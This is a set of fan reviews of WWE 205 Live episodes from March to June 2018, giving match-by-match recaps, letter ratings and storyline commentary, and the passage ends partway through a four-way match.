IMG Credit: WWE

205 Live
Date: June 19, 2018
Location: Huntington Center, Toledo, Ohio
Commentators: Tom Phillips, Percy Watson

It’s grudge match night around here as we have a triple threat match between Buddy Murphy, Mustafa Ali and Hideo Itami. Two weeks ago Itami attacked both men during their match and now they want to take him apart. That should make for a fun match and barring anything ridiculous, should set up Itami as the next challenger to Cedric Alexander’s Cruiserweight Title. Let’s get to it.

Here are last week’s results if you need a recap.

The opening video recaps Itami’s attack and how we got to tonight’s triple threat.

Opening sequence.

Drew Gulak vs. Lince Dorado

So I guess we’re not done with this feud. Jack Gallagher is in England for the UK Championship Tournament so it’s just Brian Kendrick in Gulak’s corner. The Gulak pinata is back and it’s now called Penelope. They fight over arm control to start and there are a low of people disguised as empty seats. Gulak takes him to the mat with a test of strength but Dorado fights up into a sunset flip for two. A middle rope anklescissors sets up a moonsault press for another near fall as Gulak can’t get anything going early on.

Frustrated by being flipped around over and over, Gulak hits him in the face to take over but a rollup sends Dorado through the ropes in a crash. Back in and Gulak goes for the mask, yelling at the referee that he wants to see who it is. As usual that’s too far for a luchador so he’s right back up with some dropkicks. The Golden Rewind gets two but Kendrick offers a distraction so the Gulock can get the submission at 8:02.

Rating: C. They’ve done a good job of setting Gulak as a monster around here and that’s one of the best things that can be done. It’s also interesting that the Lucha House Party can win on their own but seemingly has no chance against Gulak. It makes him look that much more impressive, which is all that matters in the entire feud. In other words the team is good but Gulak is better, meaning everyone wins.

Drake Maverick tells the referee to be careful in the main event tonight when Itami comes in. He wants respect but Maverick tells him that it works both ways.

Here’s TJP, with a mic, for a match. He’s not happy with Maverick because he’s not getting to be in the main event every week. Instead, he’s out here with some guy who doesn’t even get to mention his name. After some more insults, the guy punches TJP in the face, earning himself a kneebar for a rather hard sell job. No match of course.

Lio Rush has officially been signed and will debut next week.

Next week: Gulak/Gallagher/Kendrick vs. Lucha House Party in an elimination match.

Mustafa Ali vs. Buddy Murphy vs. Hideo Itami

They all circle to start until Murphy and Ali glare Itami to the floor. It’s Murphy going out after him so Ali hits a big flip dive onto both of them. Back in and Murphy starts punching them both to take over with raw size and power. Ali is back up to send Murphy outside but Itami cuts off the dive with a knee to the ribs. That’s enough to set up an early chinlock, meaning Itami can demand more RESPECT.

Itami lets it go and kicks Murphy off the apron before kicking Ali in the back so he won’t feel left out. It’s Murphy coming back in though and that means a kick to his back as well. Murphy kicks Itami right back and they trade them again, followed by some head to head growling. Itami gets the better of it and does the RESPECT ME thing again, because that’s half of his character. Ali comes back in and gets his head taken off with a clothesline, followed by a German suplex for two.

Murphy sends Ali into Itami, knocking him off the apron and setting up a sleeper on Ali. In other words, we’re firmly in the two in, one out formula that dominates these matches. With that going nowhere Itami comes in with a sleeper on Murphy, which is broken up in short order. Ali tries the rolling X Factor on Murphy but gets thrown into the air, only to come down with the X Factor on Itami instead (cool spot). A tornado DDT gets two on Murphy and everyone is down due to head trauma/exhaustion.

Ali is up first but the 054 is broken up with a hard crotching. They tease the Tower of Doom but (thankfully) go with Murphy kicking Ali in the face and then loading Itami up for a powerbomb, which is spun down into a DDT for two more. Ali gets up first and superkicks Murphy down but dives into Itami’s kick to the face for another triple knockdown.

Murphy powerbombs Itami but gets kicked down on top of him, setting up a 450 onto both of them at once. Ali can only get two on Itami with Murphy making a save. That’s enough for Murphy and Ali to head outside with Ali hitting a C4 off the announcers’ table for the really painful landing. Back in and a hesitation dropkick gives Itami two on Ali, so it’s time to pull off a turnbuckle pad. Another running dropkick into the exposed buckle is finally enough for Itami to pin Ali at 15:53.

Rating: B+. This was much, much better than I was expecting with all three working very hard to put on a heck of a performance. They played up the idea of Ali as the heart, Murphy as the muscle and Itami as the ruthless one who will hit you so hard that you can’t get up. The match was a lot of fun and had all three looking great. Itami needs to be the next challenger, especially after getting a win like this one.

Overall Rating: B. As tired as I am of seeing Gulak N Pals vs. Lucha House Party, that main event was great and TJP is getting better and better every week. They’ve got some stuff going on here but it’s becoming more and more clear that Alexander needs to lose the title in a hurry. He’s just not the charismatic star of the show, which leaves him on pretty equal footing with everyone else. That needs to be fixed, and then things might be able to start picking up. I mean, they won’t because it’s 205 Live, but at least it’s a possibility.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of the NXT The Full Sail Years Volume III (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/05/25/new-book-nxt-the-full-sail-years-from-dallas-to-new-orleans/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

205 Live
Date: June 5, 2018
Location: American Bank Center, Corpus Christi, Texas
Commentators: Percy Watson, Nigel McGuinness, Vic Joseph

Here are last week’s results if you need a recap.

Drake Maverick narrates a recap of last week’s title match and previews tonight’s show.

Opening sequence.

Lince Dorado vs. Brian Kendrick

Kendrick has Drew Gulak with him but no Jack Gallagher. It’s an aggressive start for Kendrick who takes him into the corner and hammers away to start but gets kicked out to the floor. The lucha noisemakers don’t distract Kendrick very well as he sidesteps a baseball slide and hits one of his own to take over again.

Back in and a side slam gets two as Drew reads the history of lucha libre from his Lucha and You brochure. Kendrick stomps and chokes in the corner as Gulak admits that he was trained in lucha libre, which shows him how terrible it is. We hit the chinlock until Dorado is back up with a spinwheel kick. A high crossbody gets two and a suicide dive takes Kendrick down again. Gulak yells at Dorado but he’s right back in with the Golden Rewind for the pin at 7:35.

Rating: C-. I’d assume this is setting up some big showdown between Gulak and Lucha House Party but hasn’t he beaten all of them already? Dorado is the weakest of the trio and he was perfectly watchable here. It’s a good idea to let him win here as it helps build him up later on when Gulak gets another win over him.

Post match Gulak runs in and beats Dorado down until Lucha House Party runs him off.

Clips of last week’s title match. Fair enough, as it was awesome.

Mustafa Ali, who is looking more jacked than usual, is ready to beat Buddy Murphy tonight and get back into the title hunt. He’s got the heart of a champion.

TJP vs. Bryan Keith

Keith is in what would be described as a cowboy outfit without the hat. TJP takes him down and grabs a mic to compliment Keith’s boots and mispronounce the town. He keeps talking as he stomps on Keith, asking for better competition. Some threats to go to Raw or Smackdown set up a modified Sharpshooter with TJP threatening to go there soon before cranking back for the tap at 2:12. Very entertaining squash with a different twist on the idea.

A very cocky Lio Rush is coming soon. Really it’s not like he was going to work anywhere else but on 205 Live but that’s not the best thing in the world after his big controversy down in NXT.

Next week: Lucha House Party vs. Gulak/Gallagher/Kendrick. Makes the most sense.

Tony Nese speaks for Buddy Murphy for some reason, saying that Murphy will beat Alexander next time. Murphy says you can’t stop the unstoppable.

Mustafa Ali vs. Buddy Murphy

Murphy goes straight with the power by driving Mustafa into the corner and no selling some chops. A dropkick works a bit better for Ali and there’s a big corkscrew dive to the floor. Back in and Murphy catches him on top so it’s a fireman’s carry into a gutbuster onto the turnbuckle for a big crash and a near fall.

Ali spins around him into a crucifix for two anyway but Murphy is right back with some backbreakers. An inverted hurricanrana (and a good one) gets Ali out of trouble and a superkick has Murphy tied up in the ropes. Ali gets two off a splash but bangs up his own ribs in the process. Murphy is smart enough to strike away at the ribs, only to charge into a boot in the corner.

The rolling X Factor is broken up and it’s time to head to the apron. This time it’s Murphy messing up and running knee first into the post to give Murphy a target of his own. The fans deem this awesome and it’s out to the floor again, this time with Murphy being sent up to the apron, only to jump back down with an INSANE tornado DDT to the floor. With Murphy trying to remember what planet he’s on, here’s Hideo Itami to break up the 054 for the DQ at 12:12.

Rating: B. It’s not as good as Murphy’s match from last week but it was still a good effort with that tornado DDT looking outstanding. Sometimes that one big spot is all you need but here you got a heck of a match to surround it. Neither of them taking a fall is the right ending and it can help set up Itami as the next challenger down the line. Good, hard hitting main event here.

Itami lays Ali out again to end the show.

Overall Rating: B-. Another completely acceptable but not great show here, which is a lot better than things used to be around here. It also helps that we’re getting a really strong match on every show and some of the stories are starting to come together. They still need the ace of the show and Cedric isn’t going to be that guy, but I don’t think anyone else they have at the moment is either. Still though, solid effort this week.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of the NXT The Full Sail Years Volume III (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/05/25/new-book-nxt-the-full-sail-years-from-dallas-to-new-orleans/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: WWE

205 Live
Date: May 29, 2018
Location: PNC Arena, Raleigh, North Carolina
Commentators: Vic Joseph, Nigel McGuinness, Percy Watson

It’s championship night as Buddy Murphy gets the Cruiserweight Title shot which was set up before Wrestlemania. You know, because there’s so much other stuff going on around here. Champion Cedric Alexander is in his home state and that could be one heck of a horrible sign for both he and his title reign. Let’s get to it.

Here are last week’s results if you need a recap.

We open with a long recap of Murphy attacking Alexander two nights after Cedric won the title, but a variety of things have prevented the match from taking place until now. Murphy talks about needing to make a statement because no one was ever going to do it for him. That statement was attacking Alexander after Wrestlemania and now it’s time for the big title showdown. This is a heck of a build up video for a match that only had me moderately interested.

Opening sequence.

Brian Kendrick/Jack Gallagher vs. Kalisto/Lince Dorado

Drew Gulak is on commentary again and has pamphlets called “Lucha And You”, offering all his insights on lucha libre and its problems. Kendrick shoulders Dorado down to start as Gulak lists off his issues with Lucha House Party (Gulak: “They wear fuzzy costumes.”). An elevated splash gives Kalisto two on Kendrick but Gallagher gets in a cheap shot from the apron to take over on Dorado. Back up and it’s already off to Kalisto to speed things up, although without waking the fans up that much. Gallagher dives over for a blind tag so Kendrick gets in a cheap shot.

That lets him mock the Lucha dance, making it very clear that they’re the villains here. A faceplant gives Gallagher two as Gulak goes over the history of lucha libre. We hit the chinlock and Gulak goes nuts over the lucha noisemakers. As usual, I agree with Gulak as those things are really annoying. Kalisto gets away and brings in Dorado for a high crossbody. The Golden Rewind drops Kendrick to the floor and there’s a suicide dive to make it worse. Gulak gets up and crotches Dorado before the shooting star though, setting up Kendrick’s Captain’s Hook for the tap at 7:10.

Rating: C-. You remember all those times that some combination of these teams and Akira Tozawa/Hideo Itami have fought? Well this is the most recent version. Just nothing memorable here and you can hear the fans being even less interested than usual. Gulak is getting somewhere but these guys have had the same matches so many times that any interest is long gone.

We look back at Hideo Itami beating Akira Tozawa last week.

Tony Nese and Mustafa Ali are split on who will win tonight.

Drake Maverick has no opinion on who wins the title match. They’re treating this like a big deal. He’s also not happy that TJP is complaining about not being in the title picture.

Cruiserweight Title: Cedric Alexander vs. Buddy Murphy

Cedric is defending and we get Big Match Intros. With those going on, it’s very clear that 205 Live should never have a wide camera shot as the empty seats get worse and worse every time. They fight over a wristlock to start with Murphy powering him down but Alexander flips forward to his feet and a standoff. Both try headscissors and both land on their feet and it’s another standoff. A dropkick puts Murphy down for one and Cedric isn’t sure what to make of it.

There’s a kick to the head to put Murphy on the floor, followed by a dropkick through the apron to knock him over the announcers’ table. Alexander takes a little too much time though and gets dropped hard onto the same table, banging up his back to give Murphy a target. Back in and the hard whip into the corner makes things worse for the champ. We hit the chinlock with a knee in the back for a few seconds before Cedric pops up with a hard forearm to the face.

A springboard is kicked out of the air though and Murphy gets two. Some running knees to the back keep Cedric down but he pops up with a superkick for the double knockdown. Cedric wins the slugout and kicks him outside for a big flip dive to the floor. Back in and the springboard clothesline gets two but Murphy knocks him to the floor for a big dive of his own. To be fair Cedric’s was hands free so it was a lot more impressive. One heck of a Falcon Arrow gets two and Cedric is STUNNED on the kickout.

Murphy catches a charge with a raised boot and a running suplex gives him two more. With nothing else working, Murphy takes him outside but gets caught with a running Downward Spiral onto the apron for a double knockdown. As expected they both do the big slide back inside at nine and it’s time to slug it out again. One heck of a knee to the face gives Murphy two but he can’t hit Murphy’s Law. Another knee to the head gets another two but Cedric is back with a pair of Neuralizers and the Lumbar Check for the pin at 20:07.

Rating: B+. This had the time and felt like the big match that they were shooting for. Cedric was in the fight of his title reign here against someone bigger, stronger and maybe more athletic but he was able to go as far down as he needed to in order to pull it off. The ending was Cedric going to a deeper level than ever to finally unload on Murphy enough for the pin. Really good match here and the best they could have done.

Overall Rating: B+. The main event taking up nearly half of the show and being that good is all you could ask for and it was a very entertaining fifty minutes. In theory this should be setting up either Mustafa Ali or Drew Gulak as the next challenger but it wouldn’t shock me to see Murphy get another shot after coming that close. Besides, it’s not like clean wins mean anything around here most of the time. Very strong show though and that’s a rarity too often.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of the NXT The Full Sail Years Volume III (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/05/25/new-book-nxt-the-full-sail-years-from-dallas-to-new-orleans/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: WWE

205 Live
Date: May 8, 2018
Location: Royal Farms Arena, Baltimore, Maryland
Commentators: Percy Watson, Vic Joseph, Nigel McGuinness

You can really feel things getting back into a lull around here and that’s not a good thing to have happen so soon after Wrestlemania. It seems that every week features a tag match that doesn’t change anything about the story they’re telling. There’s nothing for them to do long term but there’s not enough depth to set up an official division. Let’s get to it.

Here are last week’s results if you need a recap.

The opening video looks at the three matches scheduled for tonight, which works well in setting things up but doesn’t exactly have me wanting to see the show.

Opening sequence.

The announcers talk about the big fight feel in the air. Buddy Murphy vs. Mustafa Ali is not a big fight.

Gran Metalik/Lince Dorado vs. Brian Kendrick/Jack Gallagher

Speaking of tag matches that seem to be on a treadmill. Hang on though as Drew Gulak comes out for commentary. Dorado headscissors Gallagher down as Gulak calls Lince “Lindsay Dorito”. Jack tries to handstand up but gets spanked right back down. A pinfall reversal sequence has Gulak annoyed because he finds it silly. Metalik comes bouncing in for a dropkick to the face, which Gulak refers to as wasting time. Kendrick gets sent outside for a big flip dive but Gallagher offers a distraction so Brian can get in an enziguri.

It’s off to Gallagher for an arm crank as Kalisto plays with the noisemaker at ringside. Some kicks to the face get Metalik out of trouble though and the hot tag brings in Dorado to clean house. Gulak is NOT pleased with the high flying, including the Golden Rewind for two. Gallagher’s dropkick sets up the Sliced Bread #2 for two on Dorado as Metalik makes the save. Stereo suicide dives take out the bad guys and the shooting star gives Lince the pin on Gallagher at 7:49. Gulak: “Let him try that on me.”

Rating: D+. Like I said earlier: you can only do these same matches so many times before they stop meaning anything. There wasn’t anything special about this one but it feels like something I’ve seen over and over again. It’s not a bad match or anything, but it’s just doing the same matches time after time with no one actually getting anywhere. Change that or stop doing the matches.

Mustafa Ali was standing on some train tracks saying the path leads straight to Buddy Murphy. Buddy is built for show but Ali is built for go. He wants the Cruiserweight Title. These out of arena promos are a really good idea.

Murphy gives Tony Nese a pep talk and Nese wishes him luck. Tony leaves and Murphy says he hopes Cedric Alexander is watching tonight.

Tony Nese vs. Keith Clayball

Nese throws him into the corner to start as Nigel says he’s heard a lot about Clayball. Vic: “OH YOU HAVE???” Clayball is tied in the Tree of Woe for a bunch of kicks, including the crunches kicks. A hard elbow runs Clayball over again and an even harder forearm on the floor rocks him again. Back in and the running knee in the corner grazes Clayball’s forearm (Missing his head by a good six inches with the announcers saying it barely touched him. Terrible camera work there as the camera should have stayed in its regular position but switched to a side shot instead, showing how it was designed to miss.) for the pin at 3:04.

Rating: D. Well that ending was horrible looking (totally on the cameras and not the wrestlers) but this was just a boring squash with Nese getting back on the winning side before he gets to put someone else over. A match like this is a good idea but there’s not much you can do here, which is why keeping it so short is the right move.

Video on Hideo Itami, whose attitude is changing. Thank goodness, but it’s about three years too late.

Cedric is with Drake Maverick, who says the UK stars will be here next week when the show is in London.

Buddy Murphy vs. Mustafa Ali

They circle each other to start and Ali’s chop doesn’t have much effect. Murphy muscles him into the corner and tries a powerbomb, only to get hurricanranaed out to the floor. The baseball slide dropkick sends Murphy into the announcers’ table but a suplex on the floor cuts Ali off in a hurry.

Back in and a high backdrop has Ali in more trouble as Cedric is watching backstage. In a bit of a mind game, Murphy loads up a running kick to the back but stops for a chinlock instead. Back up and they both try a high crossbody for a double knockdown. It’s Ali up first with a dropkick and running forearm but the rolling X Factor is cut off with a sleeper for a smart counter. Ali reverses into a sleeper of his own but Murphy gets smart again, this time cannonballing himself, and Ali, into the corner for the break.

A tornado DDT plans Murphy again for two so he hits a DDT of his own for the save. This trading big spots is starting to work for me. That’s enough for Murphy, who powerbombs Ali three times in a row for a near knockout. Ali says don’t stop it though so Murphy tries another powerbomb, which is reversed into a big X Factor for two more.

With nothing else working, Ali takes him to the top but gets shoved to the floor, backflipping onto his feet because of course he does. Murphy dives into a superkick for two but the 450 onto the arm, which he used to beat Murphy in the tournament, misses. That bangs up Ali’s own arm and Murphy is right on it, only to be elbowed in the face. Ali is sent HARD into the post and Murphy’s Law is good for the pin at 15:46.

Rating: B. They need to get the title on one of these two ASAP as Alexander just doesn’t have the charisma to match either of them. Murphy is getting better and better every time and you can pencil Ali in for a good match almost every time. The match was more entertaining stuff, and if they cut off about two minutes, this would have been even better. Solid main event though.

Overall Rating: C+. We’re right back where we were before the tournament started: one good match a week and almost nothing else on the rest of the show worth mentioning. The tag stuff is nothing they haven’t done before and Nese is a midcarder at best. It’s the lack of stories aside from the title match that keeps holding them down and I’m not sure why WWE doesn’t get that. As a bonus, you can only see the same people rotated in and out for so long before it stops having any meaning. We passed that point about a year ago. I’m not sure how to fix this show, but it’s back to not being worth your time.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of the WWE Grab Bag (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/03/23/new-paperback-kbs-grab-bag/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: WWE

205 Live
Date: May 1, 2018
Location: Bell Center, Montreal, Quebec, Canada
Commentators: Nigel McGuinness, Percy Watson, Vic Joseph

It’s a strange time around here as we have a few stories going on but nothing is all that interesting. In other words, we’re back to close to where we were before the tournament started with a different champion. Buddy Murphy needs to make weight to get back around here (or for the Greatest Royal Rumble to be over as they likely just didn’t want to burn through that match) but other than that, Cedric Alexander doesn’t have a challenger. Let’s get to it.

Here are last week’s results if you need a recap.

We open with a recap of last week’s gauntlet match and Cedric defeating Kalisto in Saudi Arabia to retain the title.

Opening sequence.

Murphy has made weight and will be back in action tonight. So Greatest Royal Rumble can add last week’s 205 Live to its list of victims.

Jack Gallagher/Brian Kendrick vs. Akira Tozawa/Hideo Itami

Tozawa yells at Gallagher a lot and stomps away in the corner to start. Gallagher gets back up and hits him in the face, allowing the double tag to Itami vs. Kendrick (remember that Itami put Kendrick on the shelf a few months back). Itami wastes no time in going after the face with some forearms to the orbital bone but Kendrick will have none of that and goes off on Itami with shots to the face and chest.

Itami finally slows him down and brings Tozawa back in for a missile dropkick. Tozawa even kicks Gallagher off the apron but Jack gets in a cheap shot of his own to change control. It’s time to start taking turns on Tozawa, who shouts a lot as Kendrick hooks something related to a crossface chickenwing. A few shots to the face are enough for the hot tag off to Itami and the striking gets even harder.

The top rope clothesline gets two on Kendrick and there’s a running hesitation dropkick in the corner. Kendrick is right back up with a big boot but Tozawa tags himself in and suicide dives onto Kendrick and Gallagher at the same time. Back in and a spinning kick to the head drops Gallagher, setting up the top rope backsplash. Tozawa gets crotched on top by an errant Itami though and Gallagher headbutts Tozawa for the pin at 8:11.

Rating: C+. This deserves a higher rating for how hard they were hitting each other alone. Some of those shots to the face sounded rather hard and while I’m not big on Kendrick and Gallagher as a team, it’s a good idea to have them get a win to reestablish themselves. Itami and Tozawa aren’t bad and it’s better than watching Itami fail as a singles guy.

Post match Itami shoves Tozawa away and leaves on his own. Tozawa is stunned.

We look back at Buddy attack Cedric a few weeks back.

Drew Gulak isn’t happy about losing to Kalisto last week so tonight, he’s making Kalisto tap.

Buddy Murphy vs. Liam Louis

Louis looks like a younger Gillberg. Murphy throws him around like the tiny jobber he is so Louis slaps him. The fans chant GILLBERG as Murphy hits two straight powerbombs (without letting go) for two with Murphy pulling him up . The referee stops it at 1:45.

Post match Cedric is here to beat Murphy to the back.

Kalisto vs. Drew Gulak

Kalisto gets an inset promo saying the Lucha House Party has brought him back to his feet after he lost in Saudi Arabia. They fight over a lockup to start with Gulak taking it to the mat and slapping him in the back of the head. Gulak lets him up so Kalisto does the Lucha Dance to a pretty weak reaction. It’s off to a wristlock with Drew’s foot on Kalisto’s head. We hit the headlock with Kalisto’s arm trapped as Gulak is doing quite well at keeping him on the mat to start.

Kalisto fights up and does a backflip, which certainly doesn’t impress Gulak. Nigel thinks that might have been impressive at the circus as Gulak calmly takes over again. This time it’s a leglock but Kalisto rolls him away for the break. Kalisto finally gets up and sends him outside for a corkscrew dive but Drew gets a knee up. All Gulak so far as Kalisto can’t get anything going. Back in and Gulak tries a Gory Stretch, squatting down so low that he’s almost touching the mat.

Kalisto slips out so Gulak puts on something like a Boston crab, pulling the legs back so far that they’re tucked underneath Gulak’s thighs while his hands are wrapped around Kalisto’s stomach. With the holds not working, one heck of a clothesline gives Drew two. It’s off to a bow and arrow, followed by a hard forearm for two.

Now it’s time to go for the mask and gets it almost halfway off until Kalisto sends him out to the floor. A slingshot dive into an armdrag shows you just how angry Kalisto is for the attempted demasking. The slingshot front flip with the bounce off the ropes takes Gulak down again. Back in and the Salida Del Sol is reversed as the fans are busy paying attention to something else. Kalisto tries a moonsault but gets pulled into the Gulock for the tap at 12:46.

Rating: B-. Gulak has been on another level of late with the submission stuff not only looking devastating but also incredibly smooth. You get the feeling that he really could beat anyone at any time and that makes him a threat to the title, or anyone on the show for that matter. It makes him a good villain, especially with Cedric as champion. Good match here with Gulak getting to shine.

Lucha House Party checks on Kalisto to end the show.

Overall Rating: C+. Not bad here, but with Gulak and Murphy looking awesome and a ticked off Itami yelling at people and hitting them really hard, it’s not making Cedric look great on top. He’s a pretty generic guy who can have good matches, which doesn’t exactly make him into a thrilling champion. Odds are his title loss will be a big deal, but for now he’s not exactly thrilling me with the title.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of the WWE Grab Bag (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/03/23/new-paperback-kbs-grab-bag/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: WWE

205 Live
Date: April 3, 2018
Location: Bridgestone Arena, Nashville, Tennessee
Commentators: Vic Joseph, Nigel McGuinness

It’s go home week for Wrestlemania and that means it’s the go home show for 205 Live as well. In this case we have a Cruiserweight Title match set for Sunday’s Kickoff Show, which means they might be able to set up some extra stuff this week. It’s hard to say what else is going on, but Buddy Murphy is being pushed strong as well. Let’s get to it.

Here are last week’s results if you need a recap.

The opening preview focuses on Hideo Itami/Akira Tozawa vs. Lucha House Party. It’s a smart move to focus on things other than the title match as they need something to go with after Sunday. We’ll also get a preview of the tournament final.

Opening sequence.

Akira Tozawa/Hideo Itami vs. Gran Metalik/Lince Dorado

Itami and Metalik start things off with Hideo wasting no time in taking him to the mat and posing. Instead of following up, Itami shoves Dorado in the face, allowing Metalik to score with a superkick. Dorado comes in for two off a standing moonsault but it’s off to Tozawa to kick Metalik down without much effort.

The backsplash connects but Metalik reverses into a crucifix for two of his own. A hard right hand drops Metalik again and the villainous dominance continues. Metalik gets in a right hand and is promptly kicked down. A kick of his own is enough for the hot tag to Dorado, who strikes away as well. Itami’s demands for respect earn him the Golden Rewind and a big flip dive to the floor drops Itami again. Tozawa adds a dive of his own and a BIG twisting corkscrew dive from Metalik drops everyone at once. Back in and Itami goes for Metalik’s mask and everything breaks down, drawing the double DQ at 7:27.

Rating: C-. I wasn’t feeling this one but you can see the Tag Team Title feud being set up from here. Itami is better in this role as Tozawa has more than enough charisma to make up for Itami’s severe lack thereof. Lucha House Party is a nice team in this role and that’s all they need to be until we get a big threat to beat them down.

Itami and Tozawa leave the masked guys laying.

Drew Gulak isn’t disappointed that his match with Mark Andrews has been canceled due to injury, but he wants Andrews to be healthy. He had a PowerPoint presentation ready about why he would keep the Gulock (dragon sleeper) on for a long time, but one slide summed it up: because he could. If you step to him, you tap out. Serious Gulak is a fun Gulak.

Andrews says he’s coming around the world to make things right against Gulak.

Tony Nese vs. Jonathan Pierce

Pierce brings it to Nese to start but Nese moonsaults over him and nips into a kick to the ribs to take over. That’s enough for Pierce who tries to walk out but gets clotheslined for his efforts. Back in and a springboard into a Lionsault gets two, followed by Pierce getting caught on the top. The running knee in the corner ends Pierce at 2:56.

Kalisto is checking on his buddies when he runs into Buddy Murphy. Buddy says tonight isn’t personal but Kalisto is standing in his way of being Cruiserweight Champion.

Kalisto vs. Buddy Murphy

It’s an early stalemate to start until Murphy uses the size to run him over, meaning it’s time to crank on the arm. Back up and Kalisto tries a headscissors but Murphy cartwheels out in a bit of a surprise. Kalisto goes up top for a spinning armdrag (not much of a move for such a big start) and it’s another stalemate. With nothing else working, Murphy slaps on an abdominal stretch but Kalisto climbs the ropes and spins onto Buddy’s back for a sleeper. Cool counter.

A DDT gives Kalisto two and they head to the apron with Murphy suplexing him onto the apron in a sick crash. Back in and a hard Irish whip into the corner keeps the pressure on Kalisto’s back but a spinning kick to the head drops Murphy. Kalisto springboards into a reverse hurricanrana but Murphy drops him back with an electric chair for a sweet counter. A hurricanrana driver gives Kalisto two and it’s back outside, this time with Murphy hitting a monkey flip onto the announcers’ table.

That’s only good for nine as the fans are WAY into this. Back in and a powerbomb gets two on Kalisto as we get 205 and FIGHT FOREVER chants. Kalisto’s rolling kick to the head sets up a Code Red for two of his own as the fans are losing their minds over these kickouts. Back up and a bad looking Murphy’s Law (Murphy didn’t get underneath him enough) is enough for the pin at 14:49.

Rating: B+. This is the kind of match that the show should have been built around in the first place. These guys were beating the heck out of each other with as many high impact moves as they could think of until one of them couldn’t get up. I have a blast with this and Murphy is clearly the top challenger for whoever comes out of Wrestlemania as champion. Check this out if you have the chance.

Drake Maverick talks about how many great things have come from the Cruiserweight Title tournament. He pleads with us to make sure to see the Kickoff Show because Cedric Alexander and Mustafa Ali are going to tear the house down. That’s the match that everyone is going to be talking about. As usual, Maverick is a heck of a hype man and has some incredible emotion in his promos.

We get a long and very well done video on the Cruiserweight Title match. Both of their paths to the title match is chronicled, including how they’re both ready to win the title on the grandest stage of them all. Ali is making his pay per view debut on Sunday, which is quite the way to start.

Overall Rating: B. The main event and final hype video alone are worth checking out and I want to see the Cruiserweight Title match. This was a solid episode of the show and showcased what these people are capable of doing. It also makes you feel like so much of the first year was such a waste as this style is as entertaining as you can get. Really solid show here and the title match should be a blast.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of the WWE Grab Bag (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/03/23/new-paperback-kbs-grab-bag/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: WWE

205 Live
Date: March 27, 2018
Location: PPG Paints Arena, Pittsburgh, Pennsylvania
Commentators: Vic Joseph, Nigel McGuinness

There are two shows left to get through before Wrestlemania and that means we need to finish the build to the Cruiserweight Title match. As for tonight though, we have a four way match to find a new top contender. Drake Maverick didn’t officially call it a #1 contenders match but that seems to be the case. It’s almost like this show has a plan now and is actually follow through. Let’s get to it.

Here are last week’s results if you need a recap.

The preview looks at tonight’s four way with comments from all four entrants. As usual, this is a great way to throw you into things and get you ready for the show. Why can’t WWE understand that?

Opening sequence.

Mark Andrews vs. Tony Nese

Nese throws him down and we hit the bicep pose. They hit the mat and Andrews tries a headstand to get out of a headscissors. For once though, Nese picks him up and drops him down like a piledriver while sitting down. That’s a new one and rather smart. Andrews’ neck is fine enough to armdrag Nese into an armbar but Nese nips up to avoid a clothesline. That always looks cool.

More armdrags have Nese in trouble (I mean, as much trouble as an armdrag can cause) but a hurricanrana sends him to the floor. Back in and the flip dive is cut off with an elbow and it’s Nese taking over for a change. We hit a bodyscissors to work on Andrews’ ribs and a running knee makes them even worse. Back up and a Rey Mysterio sitout bulldog plants Nese and a tornado DDT does it again for two. Andrews sends him outside and hits a moonsault to the floor in a good looking landing.

Nese goes back to the power with a hard running clothesline and a heck of a forearm. A double springboard Lionsault only hits mat though (Nese shouldn’t go with the flying) and they trade the hard/rapid fire shots to the face. A double stomp to the ribs rocks Nese again and Andrews is stunned at the kickout. Back up and Nese tries a slam but gets countered into the Stundog Millionaire. The shooting star press gives Andrews the pin at 11:14.

Rating: C+. Andrews certainly isn’t the biggest or best guy in the world to watch but I have a good time with his matches. There’s something about him that makes the matches all the more entertaining and the shooting star press works well for him. Nese isn’t much more than a low level heel but at least the physique makes him seem like a bigger deal. You have to have people like that on the roster, just for stuff like this if nothing else.

Post match Andrews tells Maverick that he wants Gulak. The match is made for next week.

Gulak wants to know why Andrews is on 205 Live. The win over Mark, and keeping the dragon sleeper on longer than he needed to, was a lesson. Drew is the best submission specialist in WWE. If you step to him, you will tap out.

Earlier today, Maverick oversaw a face to face interview between Cedric Alexander and Mustafa Ali. They agree that they’re friends and it’s an honor and a privilege to face off in their first Wrestlemania. Their friends and family will be there and Cedric can’t wait to be a real champion for his daughter.

Ali brings up Cedric’s failures in the title matches before but Cedric can never finish his story. He’s writing his own story too and his also ends with his daughter calling him a champion. Cedric is ready to stomp out Ali’s heart, which Ali says is exactly what he’ll have to do. They’re teasing both of them turning and that makes for an interesting match.

TJP vs. Kalisto vs. Buddy Murphy vs. Akira Tozawa

One fall to a finish and the winner probably gets a title shot at some point in the future. Kalisto takes Tozawa into the corner while the other two just watch. Tozawa gets sent outside for a falling flip splash and Buddy is tossed as well, leaving TJP to casually chill in the ring. Murphy comes back in and will have none of the headscissors into the dab. Back in and Kalisto breaks up Murphy’s dive but here’s Tozawa to kick him down for two.

TJP offers Buddy a handshake and turns on him almost just as fast. I mean, did you expect anything else? Just to show off, TJP puts Tozawa in an Indian Deathlock while putting Kalisto in an abdominal stretch at the same time. Kalisto fights out and chops TJP down, hurting Tozawa’s leg even more. The hold stays on while TJP gets two off a northern lights suplex to Kalisto.

